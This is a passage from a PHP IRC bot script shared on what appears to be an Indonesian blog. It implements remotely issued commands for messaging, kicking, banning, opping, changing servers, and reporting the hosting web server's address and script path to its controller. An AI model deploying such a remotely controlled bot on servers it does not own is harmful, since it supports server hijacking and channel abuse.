fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :Tadi kan udah! ' . CRL);
}
else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
}
elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL);
}
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga boleh tuh! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':!say' && $com[4] && $chan) {
$msg = strstr($data,":!say");
$msg = str_replace(":!say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':!act' && $com[4] && $chan) {
$msg = strstr($data,":!act");
$msg = str_replace(":!act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' : ACTION '.$msg.' '. CRL);
}
elseif ($com[3]==':!slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : ACTION slaps '.$com[4].' Pakai pantat gajah !!!! '. CRL);
}
elseif ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = strstr($data,":!msg");
$msg = str_replace(":!msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":!ctcp");
$msg = str_replace(":!ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' : '.$msg.' '. CRL);
}
elseif ($com[3]==':!ping' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
}
elseif ($com[3]==':!info') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport" . CRL);
}
}
elseif ($com[3]==':!upgrade') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$upgd = implode('',@file('http://'.$bhost.$bruri));
fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting.." . CRL);
exit();
}
}
elseif ($com[3]==':!up' && $chan) {
fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':!down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
}
//elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$v = strtolower($com[4]);
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
//elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!k' && $com[4] && $chan) {
$msg = strstr($data,":!k");
$msg = str_replace(":!k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':!kb' && $com[4] && $chan) {
$msg = strstr($data,":!kb");
$msg = str_replace(":!kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':!changenick') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
if (substr($dCommand,0,3)=='433') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
}
elseif ($com[3]==':!op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
}
else {
$raway="off";
fputs($fp,'AWAY : ' . $msg . CRL);
}
}
elseif ($com[3]==':!mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':!nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!quit");
$msg = str_replace(":!quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT Ganti Server".CRL);
}
elseif ($com[3]==':!ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Ident ' . CRL);
}
elseif ($com[3]==':!fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $realname = "--"; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Nama ' . CRL);
}
elseif ($com[3]==':!topic' && $com[4] && $chan) {
$msg = strstr($data,":!topic");
$msg = str_replace(":!topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY RONZ **/
elseif ($com[3]==':!ngomong') {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,'PRIVMSG '.$chan.' : ACTION Siap Bos Waktunya Ceramah! '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :seep Juragan Waktunya Bicara' . CRL); }
}
elseif ($com[3]==':!diam') {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION Wahhh Disuruh Puasa Ngomong Ma BOss :( '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :DIAMMMMMMMMMMMMMMMMMMMMM GRAKKKKKKKKKK' . CRL); }
}
elseif ($com[3]==':!wb') {
$wbn = $com[4];
$msg = strstr($data,":!wb");
$msg = str_replace(":!wb $wbn ","",$msg);
$nickwb[] = array($wbn,$msg);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
}
}
else { fputs($fp,'NOTICE '.$dNick.' :Ketik auth Dong! Ketik: auth <password> '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $admin .' : 4inviter: ' . $dFrom . ' 2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' : KB '.$chan.' '.$dNick.' '.$inv.' ' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand) && $log=="on") {
fputs($fp,'PRIVMSG '.$admin.' : 6' . $dFrom . ' 12:' .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}
hajar();
?>
0 comments: on "Script Bot Php"
Post a Comment